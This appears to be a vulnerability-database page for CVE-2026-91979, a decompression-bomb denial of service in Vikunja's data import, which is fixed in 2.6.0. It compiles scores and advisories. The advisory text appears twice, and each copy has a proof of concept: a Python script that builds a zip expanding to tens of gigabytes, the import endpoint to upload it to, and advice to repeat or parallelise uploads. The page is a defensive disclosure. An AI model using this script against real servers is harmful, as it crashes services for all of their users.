Every CVE Search/ Get API key

CVE-2026-91979

Vikunja before 2.6.0 Denial of Service via Decompression Bomb

7.1 HighFix available

Vikunja before 2.6.0 fails to limit archive expansion during data import, allowing authenticated users to cause denial of service. Attackers can upload highly compressed files that expand to tens of gigabytes in memory and disk, exhausting server resources and crashing the instance.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.44%Up 0.1 points since Sep 16, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.1

Vikunja before 2.6.0 Denial of Service via Decompression Bomb

Vikunja before 2.6.0 fails to limit archive expansion during data import, allowing authenticated users to cause denial of service. Attackers can upload highly compressed files that expand to tens of gigabytes in memory and disk, exhausting server resources and crashing the instance.

Record
CVE-2026-91979
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
EUVDEUVD-2026-78650 7.1

Vikunja before 2.6.0 fails to limit archive expansion during data import, allowing authenticated users to cause denial of service. Attackers can upload highly compressed files that expand to tens of gigabytes in memory and disk, exhausting server resources and crashing the instance.

Record
EUVD-2026-78650
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-p4h8-xg7f-xqrc 7.1

Duplicate Advisory: Vikunja: Denial of service via decompression bomb in the data import

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-w7jp-mf2v-8342. This link is maintained to preserve external references.

Original Description

Vikunja before 2.6.0 fails to limit archive expansion during data import, allowing authenticated users to cause denial of service. Attackers can upload highly compressed files that expand to tens of gigabytes in memory and disk, exhausting server resources and crashing the instance.

Record
GHSA-p4h8-xg7f-xqrc
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
GitHub AdvisoriesGHSA-w7jp-mf2v-8342 7.1

Vikunja: Denial of service via decompression bomb in the data import

Summary

Vikunja lets you export your data as a zip and import it back. The import doesn't limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. A single crafted upload is enough to exhaust the server's memory or fill its disk and knock the whole instance offline. It can be repeated or run in parallel, since nothing stops a user from starting several imports at once.

Details

The import accepts an archive in the same layout the built-in export produces: a manifest describing projects and tasks, plus the attachment files those tasks reference. Each individual file inside the archive is size-checked, but there's no ceiling on the total uncompressed size or on the number of files, and there's no per-user storage quota anywhere. On top of that, the server seems to buffer every attachment in memory before writing it out, so the peak memory cost is the sum of all decompressed files at once, not one at a time.

Compression is the key factor: a file full of a repeating byte (e.g. zeroes) shrinks by roughly a thousand to one. So an archive that fits under the upload size limit (around 20 MB) can describe on the order of a thousand ~20 MB attachments, which the server then expands to tens of gigabytes in RAM and writes to disk. When memory runs out the process is killed; when the disk fills, the instance (and anything else on that host) stops working. Nothing serialises imports, so a user can also fire several in parallel to reach the limit faster.

The fix is to cap the total uncompressed size and the file count per archive, stream each file to disk instead of buffering them all in memory, enforce a per-user storage quota, and refuse a new import while one is already running for that user.

PoC

The attacker needs an ordinary account that can use the import feature.

  1. Build a zip in the export format containing one project with for example ~200 tasks, each referencing an attachment, and ~200 attachment files, each 18 MB of zero bytes. Filled with zeroes, the whole thing compresses to roughly 4 MB (under the upload limit).
#!/usr/bin/env python3
import argparse, json, os, zipfile

CHUNK = b"\0" * (1024 * 1024)

def build(out, n, size, version):
    tasks = [{"title": f"t{i}", "attachments": [{"file": {"id": i, "name": "a"}}]}
             for i in range(1, n + 1)]
    data = json.dumps([{"title": "bomb", "tasks": tasks, "child_projects": []}]).encode()

    with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as z:
        z.writestr("VERSION", version)
        z.writestr("data.json", data)
        for i in range(1, n + 1):
            with z.open(f"files/{i}", "w") as f:
                for _ in range(size):
                    f.write(CHUNK)

    raw = n * size * 1024**2
    print(f"[+] {out}: {os.path.getsize(out)/1024**2:.2f} MiB "
          f"({raw/1024**3:.1f} GiB uncompressed)")

p = argparse.ArgumentParser()
p.add_argument("-o", "--out", default="bomb.zip")
p.add_argument("-n", "--files", type=int, default=200)
p.add_argument("-s", "--size-mib", type=int, default=18)
p.add_argument("--version", default="v2.5.0")
a = p.parse_args()
build(a.out, a.files, a.size_mib, a.version)
  1. Upload it to the import endpoint:
PUT /api/v1/migration/vikunja-file/migrate
(multipart file upload: the crafted zip)
  1. Watch the server. Memory climbs into 3.5 GB within seconds and the disk fills with the expanded files. On a typical host the process is OOM-killed or the disk fills, and the instance stops responding for everyone. Repeat, or send several uploads at once, to reach the limit reliably.

(You can derive the exact archive layout in step 1 by first exporting your own data once and inspecting the zip it hands back.)

Impact

Denial of…

Record
GHSA-w7jp-mf2v-8342
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-400, CWE-409, CWE-770
Updated
2026-11-02
NVD 7.1

Vikunja before 2.6.0 fails to limit archive expansion during data import, allowing authenticated users to cause denial of service. Attackers can upload highly compressed files that expand to tens of gigabytes in memory and disk, exhausting server resources and crashing the instance.

Record
CVE-2026-91979
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSV 7.1

Vikunja before 2.6.0 Denial of Service via Decompression Bomb

Vikunja before 2.6.0 fails to limit archive expansion during data import, allowing authenticated users to cause denial of service. Attackers can upload highly compressed files that expand to tens of gigabytes in memory and disk, exhausting server resources and crashing the instance.

Record
CVE-2026-91979
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-400
Updated
2026-11-02
OSVGHSA-p4h8-xg7f-xqrc 7.1

Duplicate Advisory: Vikunja: Denial of service via decompression bomb in the data import

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-w7jp-mf2v-8342. This link is maintained to preserve external references.

Original Description

Vikunja before 2.6.0 fails to limit archive expansion during data import, allowing authenticated users to cause denial of service. Attackers can upload highly compressed files that expand to tens of gigabytes in memory and disk, exhausting server resources and crashing the instance.

Record
GHSA-p4h8-xg7f-xqrc
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSVGHSA-w7jp-mf2v-8342 7.1

Vikunja: Denial of service via decompression bomb in the data import

Summary

Vikunja lets you export your data as a zip and import it back. The import doesn't limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. A single crafted upload is enough to exhaust the server's memory or fill its disk and knock the whole instance offline. It can be repeated or run in parallel, since nothing stops a user from starting several imports at once.

Details

The import accepts an archive in the same layout the built-in export produces: a manifest describing projects and tasks, plus the attachment files those tasks reference. Each individual file inside the archive is size-checked, but there's no ceiling on the total uncompressed size or on the number of files, and there's no per-user storage quota anywhere. On top of that, the server seems to buffer every attachment in memory before writing it out, so the peak memory cost is the sum of all decompressed files at once, not one at a time.

Compression is the key factor: a file full of a repeating byte (e.g. zeroes) shrinks by roughly a thousand to one. So an archive that fits under the upload size limit (around 20 MB) can describe on the order of a thousand ~20 MB attachments, which the server then expands to tens of gigabytes in RAM and writes to disk. When memory runs out the process is killed; when the disk fills, the instance (and anything else on that host) stops working. Nothing serialises imports, so a user can also fire several in parallel to reach the limit faster.

The fix is to cap the total uncompressed size and the file count per archive, stream each file to disk instead of buffering them all in memory, enforce a per-user storage quota, and refuse a new import while one is already running for that user.

PoC

The attacker needs an ordinary account that can use the import feature.

  1. Build a zip in the export format containing one project with for example ~200 tasks, each referencing an attachment, and ~200 attachment files, each 18 MB of zero bytes. Filled with zeroes, the whole thing compresses to roughly 4 MB (under the upload limit).
#!/usr/bin/env python3
import argparse, json, os, zipfile

CHUNK = b"\0" * (1024 * 1024)

def build(out, n, size, version):
    tasks = [{"title": f"t{i}", "attachments": [{"file": {"id": i, "name": "a"}}]}
             for i in range(1, n + 1)]
    data = json.dumps([{"title": "bomb", "tasks": tasks, "child_projects": []}]).encode()

    with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as z:
        z.writestr("VERSION", version)
        z.writestr("data.json", data)
        for i in range(1, n + 1):
            with z.open(f"files/{i}", "w") as f:
                for _ in range(size):
                    f.write(CHUNK)

    raw = n * size * 1024**2
    print(f"[+] {out}: {os.path.getsize(out)/1024**2:.2f} MiB "
          f"({raw/1024**3:.1f} GiB uncompressed)")

p = argparse.ArgumentParser()
p.add_argument("-o", "--out", default="bomb.zip")
p.add_argument("-n", "--files", type=int, default=200)
p.add_argument("-s", "--size-mib", type=int, default=18)
p.add_argument("--version", default="v2.5.0")
a = p.parse_args()
build(a.out, a.files, a.size_mib, a.version)
  1. Upload it to the import endpoint:
PUT /api/v1/migration/vikunja-file/migrate
(multipart file upload: the crafted zip)
  1. Watch the server. Memory climbs into 3.5 GB within seconds and the disk fills with the expanded files. On a typical host the process is OOM-killed or the disk fills, and the instance stops responding for everyone. Repeat, or send several uploads at once, to reach the limit reliably.

(You can derive the exact archive layout in step 1 by first exporting your own data once and inspecting the zip it hands back.)

Impact

Denial of…

Record
GHSA-w7jp-mf2v-8342
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-400, CWE-409, CWE-770
Updated
2026-11-02
OSVGO-2026-6756 No score

Vikunja: Denial of service via decompression bomb in the data import in code.vikunja.io/api

Vikunja: Denial of service via decompression bomb in the data import in code.vikunja.io/api.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: code.vikunja.io/api before v2.6.0.

Record
GO-2026-6756
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
code.vikunja.io/api
Go
through 2.5.0
2.6.0
code.vikunja.io/api
Go
before 2.6.0
2.6.0
code.vikunja.io/api
Go
All versions None known

History

History
RecordedChangedSources
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-91979 is a high vulnerability (CVSS 7.1) in Go-vikunja Vikunja, published September 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.44%, the 38th percentile. Fixed in code.vikunja.io/api 2.6.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open